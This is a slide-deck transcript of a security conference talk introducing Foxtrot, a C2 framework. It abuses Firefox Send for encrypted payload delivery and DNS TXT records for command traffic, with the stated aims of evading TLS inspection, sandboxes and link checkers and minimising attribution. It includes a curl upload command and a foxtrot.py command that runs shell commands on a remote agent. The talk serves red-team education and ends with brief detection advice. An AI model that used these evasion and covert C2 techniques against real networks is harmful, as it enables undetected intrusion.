Foxtrot C2: Forced Payload Delivery
0 likes432 views
The document summarizes a technique for delivering payloads across networks with robust inspection mechanisms. It proposes using Firefox Send for private, encrypted file sharing to deliver payloads. Payloads are encrypted client-side using the WebCrypto API and can be decrypted in any browser. Notification of the encrypted file link is done over alternate covert channels like DNS to avoid inspection. A Python-based C2 framework called Foxtrot is demonstrated which uses Firefox Send for the payload delivery channel and DNS for the command and control channel to automate payload delivery between agent systems.
Foxtrot C2: Forced Payload Delivery
- 1. Foxtrot C2. Proxy, Let’s Dance Safe(r) Payload Delivery Across Intercepting Proxies THOTCON 0x9 Dimitry Snezhkov
- 2. Silence on the wire 30 minutes into sending a known good payload: Realization: Payload did not make it to the end user ... was it the link checker? ... was it the new / uncategorized domain access policy? ... was the payload package format caught by in-flight content inspection tools? ... did the user lack supported programs to deal with unwrapping the application payload? Note: The silence may be broken by a friendly sandbox visit under the name ”BOBS-PC”, joined by 12 more peers fetching and analyzing the payload over and over again. It’s a party, but not the one you want to be a part of! Now, can damage be contained/minimized? Can I avoid or delay attribution? A Common Scenario: Undelivered Offensive Payload
- 3. • Properly configured layered in-flight defenses can be very effective for the Defense. • They can also be annoying to the Offense • may not be reliably replicated in test/lab or known • may lead to offensive teams giving up too early in the game. In this talk we will try to address a few of these issues, minimize their effects, and avoid a few of them too. Strike One: In-flight Defenses
- 4. In reality, it is about an attempt of a safe(r) last-mile delivery and protection of payload across networks configured with robust in-flight inspection mechanisms. A Common Scenario - Revisited That was a mouthful….. Let the hunt begin!
- 5. An alternative offensive content delivery mechanism is needed. Primary goals: 1. Capability to deliver content across hostile traffic inspection mediums. E.g. TLS traffic inspection assumed. 2. Capability to reach externally hosted content from the inside in the face of a strict content proxy and a heavy domain ranking. 3. + Capability to decrease repeatable sampling of externally hosted attacker content by defensive mechanisms by controlling content access parameters, including one-time links, storage expiration, access limits. 4. + Capability to minimize attribution at the initial visit/download/delivery stage. 5. + Capability to pass by link inspectors (e.g. UrlDefense) 6. + High degree of utilization needed. Secondary goals: Lao Tzu says: we shall discuss them later ;) Remediation Content Delivery Mechanism Goals
- 6. Operation: Firefox Send Private, Encrypted File Sharing 1. Sender Uploads File 2. Firefox Stores Encrypted w/Shared Key Basic Access rules. 3. Recipient Downloads File
- 7. Platform: Firefox Send Private, Encrypted File Sharing https://www.w3.org/TR/WebCryptoAPI WebCrypto API* with AES-GCM algorithm to encrypt and decrypt the file in the browser The file that's transferred to Mozilla's server is already encrypted and its contents can't be viewed by Mozilla • The link includes the encryption key • Anyone with the link to download and access the file. • 1 GB file size limit • 1-24 times download limit *Web crypto API
- 8. • Send server can be deployed as a standalone server (https://github.com/mozilla/send) • Or hosted at https://send.firefox.com/ (our use case) Request (upload file and encrypt) POST /api/upload HTTP/1.1 Host: send.firefox.com X-File-Metadata: {"id":"55c97f947fc479547f16f125","filename":"monastery1.jpg"} Response: Additional Owner/ID Info: {"url":"https://send.firefox.com/download/3f9805bcd7/", "owner":"9dafe4c2d89b07101891","id":"3f9805bcd7"} Encrypted Link Format: https://send.firefox.com/download/3f9805bcd7/#M3DA7NgkqlswuM9GFT4BCA Platform: Firefox Send Private, Encrypted File Sharing
- 9. Goal 1: Capability to deliver content across hostile traffic inspection (E.g. TLS traffic inspection) • Decryption of content in the browser by JS Encrypted last mile delivery https://send.firefox.com/download/baaf2ae527/#ez4iQudmTwsjSu41ZSYrOg • Proxy can inspect TLS, will see an encrypted blob. • Unless the mechanism is known will rarely attempt to automatically detect and unwrap application encryption. • One-time shared key between the browser of the uploader and the browser of file recipient. • We don’t have to generate, FF Send takes care of that. Solving key distribution Let’s Evaluate Firefox Send Private Sharing against our goals
- 10. Goal 2: Capability to reach hosted content in the face of a content proxy and heavy domain ranking https://send.firefox.com/ Mostly ranked high and “safe”
- 11. Goal 3: Capability to decrease repeatable sampling of content by defense by controlling content access parameters, including expiration, access limits. Advantages: • Link download throttling: 1-20 times ß Sandbox gets nothing 2nd attempt • Generous size of files (up to 1 GB) • Link expiration by time (24 hours) • File forced/manual deletion. • Additional encryption passwords. Further logic can be built. We will see more when we discuss secondary goals.
- 12. Goal 4: Capability to minimize attribution. • Storage OpSec: Ephemeral storage promise • No account to create. Owner is ephermeral File One: {"url":https://send.firefox.com/download/3f9805bcd7/ ,"owner":"9dafe4c2d89b07101891","id":"3f9805bcd7"} File Two: {"url":https://send.firefox.com/download/1839672b2a/ ,"owner":"77b8a3559416aa14d668","id":"1839672b2a "} Who is owner 77b8a3559416aa14d668 ?? (anonymous uploads.)
- 13. Goal 5: Capability to minimize response from link inspectors https://send.firefox.com/download/1839672b2a/#os171fpGxYOLOykVYREN8w looks better than https://rogue.me/download/file Goal 6: Ability to progressively build delivery with off the shelf tools. Utilization / availability in all environments. The problem of shared keys fully custom application encryption: format support. Can you guarantee a client is able to unwrap? All you really need is a Firefox/Chrome/Safari browser with JS Crypto WebAPI. Edge (later/never?)
- 14. Weaponizing A Happy File Sharing Service
- 15. One time. Two times. Automate. 1. Building a delivery framework of agents based on the existing capabilities. 2. Solving task synchronization with split data and command channels. 3. Building command execution capability and hooks into the external C&C Secondary Goals: Automation
- 16. Goal 1: Building delivery agents based on the existing capabilities. • FFSend is Browser to Browser, via WebAPI Crypto JS. Can we replicate / automate? curl 'https://send.firefox.com/api/upload’ -H 'Authorization: send-v1 4m6CIIsv28NhHzFwI4coO7NQ4ptuH2dkQ2m0Fmft2B0j1ZcE18aeUWfIa3iuVyTQURKHZ4OboKxZmcCJCFmKJQ’ -H 'Origin: https://send.firefox.com’ -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQ6VYFlqCoVpBLf6Y’ -H 'X-File- Metadata: J8OulomBWho3RdLoeHBkOh23c5glLkfNLPHMZcV6Yctny1ydtkDsol1D_cJ8mQ-G2o_ c8wu6_avkca8o5-E4itPpOuzE2AD2hfGTA-TYjw’ --data-binary $'------ WebKitFormBoundaryQ6VYFlqCoVpBLf6YrnContent-Disposition: form-data; name="data"; filename="blob"rnContent-Type: application/octet-streamrnrnrn------ WebKitFormBoundaryQ6VYFlqCoVpBLf6Y--rn' --compressed {"url":"https://send.firefox.com/download/58d18f7c65/","delete":"0120a59343513ec237a4","id":"58d18f7c65"} Secondary Goals: Automation
- 17. Goal 1: Building delivery agents based on the existing capabilities (Cont.) JS Crypto WebAPI = Crypto Standards + HTTP libraries Py Crypto WebAPI = Crypto Standards + HTTP libraries? So…. Secondary Goals: Automation
- 18. Hello world, agent! Agent Delivery Notification Problem: How do you make the other party know the shared key / URL? https://send.firefox.com/download/baaf2ae527/#ez4iQudmTwsjSu41ZSYrOg Notification side channels. The usual candidates HTTP, ICMP, DNS, etc. • HTTPS: Possible but: Another highly ranked domain needed. Partially defeats the purpose. Assume inspection of TLS, so another custom protocol to protect. • ICMP: Fairly limited structure- and capacity- wise, well inspected. • DNS: Inspected but we can probably blend in. Goal 1: Building delivery agents based on the existing capabilities (Cont.) Secondary Goals: Automation
- 19. Goal 2: Solving synchronization with split data and command channels. DNS: • Data channel to FFSend. • Command channel to DNS. Wanted features: • Avoid detection with well behaved packets across reasonably infrequent traffic. No splitting of 1GB file and shoving it across 1M DNS TXT records. • Dynamic DNS updates from the agents, access control with Transaction Signatures • Commands over well formed TXT DKIM records. • Additional record content encryption with FFSend shared key. Secondary Goals: Automation
- 20. Protocol Normal
- 21. Protocol Normal
- 22. Wire and Defense
- 23. • Might as well shuttle data AND commands. • Master/Slave concept by role • Peer-to-Peer concept by capability. • Store and poll model between the parties via FFSend service. Goal 3: Building command execution from the external C&C Secondary Goals: Automation
- 24. Foxtrot C2 DATA channel: Firefox Send Service COMMAND channel: PowerDNS (choice) • Flexibility: Backend (SQL, Bind, Pipe, etc.) HTTP API possible (Future fallback, round robin) • Agents can change roles (Master/Slave) • Agents can communicate P2P (WIP) • Command line and TUI menu driven • Agents can be hosted on FF Send. • Jitter/Intervals to blend in traffic (WIP) • Internal agent commands (WIP) • Download or push files • Download or push instructions for OSexec() • Planned LTKM Python for now
- 25. Slave (console) Master (console) Send commands (batch) Send data file Foxtrot C2
- 26. Foxtrot Operation ./foxtrot.py --agent agent_195694e2 --tsigname test2 --tsigrdata ./config/tsig-test2.dat --nserver 138.68.234.147 --domain s3bucket.stream --role master --verbose info send --operation ocmd --ocmd 'ps -ef | grep bash' Slave Master 1. Master (Post Job to Slave) 2. Slave (Receipt of Request): • Checks DNS record for its instructions • Fetches linked data file from FFSend • Processes (command or saves data) as instructed • Posts results back to FFSend • Updates DNS 3. Master (Get Response): • Checks DNS record for updates from Slave • Fetches linked data file from FFSend • Processes command output as instructed • Updates DNS record for Slave Agent
- 28. Wire and Defense • Sample number of DNS TXT requests/responses • Vendors: • render CAPTCHAS for uploads • throttle number of uploads from endpoint